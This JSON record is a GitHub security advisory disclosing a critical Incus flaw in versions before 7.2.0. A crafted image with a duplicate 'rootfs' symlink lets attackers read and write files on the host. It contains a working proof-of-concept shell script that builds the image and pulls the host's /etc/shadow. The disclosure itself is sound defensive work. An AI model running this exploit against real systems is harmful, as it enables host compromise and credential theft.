{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v7/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48749"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T18:31:21Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -\u003e /\n```\n\nIn practice, this allows a malicious actor to access the host\u0027s filesystem with root privileges.\n\n\n### PoC\n\nBelow, we map the container\u0027s rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host\u0027s `/etc/shadow` file and create a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf \u0027afrw-rootfs-symlink\\n\u0027 \u003e\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.",
  "id": "GHSA-2q3f-q5pq-g8wv",
  "modified": "2026-06-26T18:31:21Z",
  "published": "2026-06-26T18:31:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image"
}